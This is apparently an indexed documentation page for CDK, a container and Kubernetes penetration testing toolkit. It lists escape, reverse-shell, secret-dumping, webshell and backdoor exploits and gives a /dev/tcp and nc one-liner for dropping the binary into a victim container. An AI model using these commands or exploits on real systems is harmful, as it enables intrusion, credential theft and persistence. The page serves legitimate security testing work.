DOCSEARCHbyAlgolia
Submit Docs

CDK Penetration Testing Toolkit

repository·main·Indexed 26 days ago

https://github.com/cdk-team/cdk

A zero-dependency penetration testing toolkit designed for containerized environments. CDK enables security researchers to evaluate container weaknesses, execute exploits for container escapes and Kubernetes cluster takeovers, and interact with K8s APIs or Docker sockets without relying on the host OS. It features an evaluation module for information gathering, an exploit module for persistence and lateral movement, and a suite of built-in network and system tools including kcurl, etcl, and probe.

Tokens
2.1K
Snippets
5
Records
13
Agent score
39%

What's inside CDK

  1. Overview of CDK

    main
    CDK is a zero-dependency container penetration toolkit designed for stable exploitation in slimmed containers without OS dependencies. It provides net-tools, PoCs, and EXPs to assist in container escapes and Kubernetes (K8s) cluster takeover.

  2. Install and Deliver CDK to a target container

    main

    Download the latest release from the official GitHub releases page. To use CDK, drop the executable files into the target container.

    Delivery via RCE (without curl/wget)

    If you have Remote Code Execution (RCE) but the container lacks curl or wget, you can deliver the binary using /dev/tcp:

    1. On your host machine, listen for the file transfer: nc -lvp <port> < cdk
    2. Inside the victim container, execute: cat < /dev/tcp/<your_public_host_ip>/<port> > cdk && chmod a+x cdk

  3. Quick Start with CDK

    main

    To perform a penetration test, first run the evaluation command to identify weaknesses and recommended exploits, then execute the chosen exploit.

    1. Evaluate: Run cdk evaluate --full to gather information and receive exploit recommendations.
    2. Exploit: Run cdk run <exploit_name> to execute the identified attack.

  4. Use the Evaluate Module to gather container information

    main

    The evaluate module is used to gather information inside a container to identify potential weaknesses. You can run a standard evaluation or use the --full flag for a more comprehensive scan.

    Supported tactics include:

    • Information Gathering: OS basic info, available capabilities, Linux commands, mounts, net namespaces, sensitive ENV/processes/local files, and Kube-proxy route localnet (CVE-2020-8558).
    • Discovery: K8s API-server info, K8s service-account info, and Cloud Provider Metadata API.
    cdk evaluate [--full]

  5. Use the Exploit Module to run targeted exploits

    main

    The exploit module provides capabilities for container escaping, persistence, and lateral movement.

    1. List all available exploits: Use cdk run --list to see the available scripts.
    2. Run a specific exploit: Use cdk run <script-name> [options] to execute a targeted exploit.

    Common exploit categories include:

    • Escaping: runc-pwn, shim-pwn, docker-sock-pwn, mount-cgroup, etc.
    • Discovery: service-probe, istio-check, k8s-psp-dump.
    • Remote Control: reverse-shell, kubelet-exec.
    • Credential Access: registry-brute, ak-leakage, k8s-secret-dump.
    • Persistence: webshell-deploy, k8s-backdoor-daemonset, k8s-cronjob.

    Note on Thin Releases: The thin release is a lightweight version (approx. 2MB) optimized for short-lived container shells like serverless functions. It contains 90% of CDK functions but excludes some exploits to reduce size.

  6. Use the Tool Module for network and system utilities

    main

    The tool module provides network tools and APIs for TCP/HTTP requests, tunnels, and K8s cluster management. These commands function similarly to standard Linux commands but may have different input arguments.

    Available tools include:

    • nc [options]: TCP Tunnel
    • ps: Process Information
    • netstat: Similar to netstat -antup
    • ifconfig: Network Information
    • vi: Edit Files
    • ectl: Unauthorized enumeration of etcd keys
    • kcurl: Request to K8s api-server
    • dcurl: Request to Docker HTTP API
    • ucurl: Request to Docker Unix Socket
    • rcurl: Request to Docker Registry API
    • probe: IP/Port Scanning
    cdk nc [options]
cdk ps

  7. CDK Built-in Tools Reference

    main

    CDK includes several specialized tools for container environments:

    • vi <file>: Edit files within the container.
    • ps: Show process information (similar to ps -ef).
    • nc [options]: Create a TCP tunnel.
    • ifconfig: Show network information.
    • kcurl <path> (get|post) <uri> <data>: Make requests to the K8s API server.
    • ectl <endpoint> get <key>: Unauthorized enumeration of etcd keys.
    • ucurl (get|post) <socket> <uri> <data>: Make requests to the Docker unix socket.
    • probe <ip> <port> <parallel> <timeout-ms>: Perform a TCP port scan.
    Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

  8. CDK CLI Command Reference

    main

    The CDK CLI provides three primary functional areas: evaluate, run, and various standalone tools.

    Core Commands

    • cdk evaluate [--full]: Gathers information to find container weaknesses. The --full flag enables file scanning.
    • cdk run (--list | <exploit> [<args>...]):
      • --list: Lists all available exploits.
      • <exploit> [<args>...]: Runs a specific exploit. Refer to the CDK Wiki for specific exploit documentation.
    • cdk <tool> [<args>...]: Executes built-in penetration testing tools.

    Global Options

    • -h, --help: Show help message.
    • -v, --version: Show version.
    • --profile=<name>: Select an evaluation profile.
    Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

  12. Use CDK built-in tools

    main

    CDK provides several specialized tools for container penetration testing. Use the syntax cdk <tool> <args> to invoke them.

    Available tools:

    • vi: Runs a vendor-provided vi editor.
    • kcurl: Interface for kubectl API.
    • ectl: Interface for etcdctl API.
    • ucurl: Interface for Docker daemon API.
    • dcurl: Interface for Docker daemon API.
    • ifconfig: Retrieves local network addresses.
    • ps: Runs process listing.
    • netstat: Runs network statistics.
    • probe: Performs a TCP scan.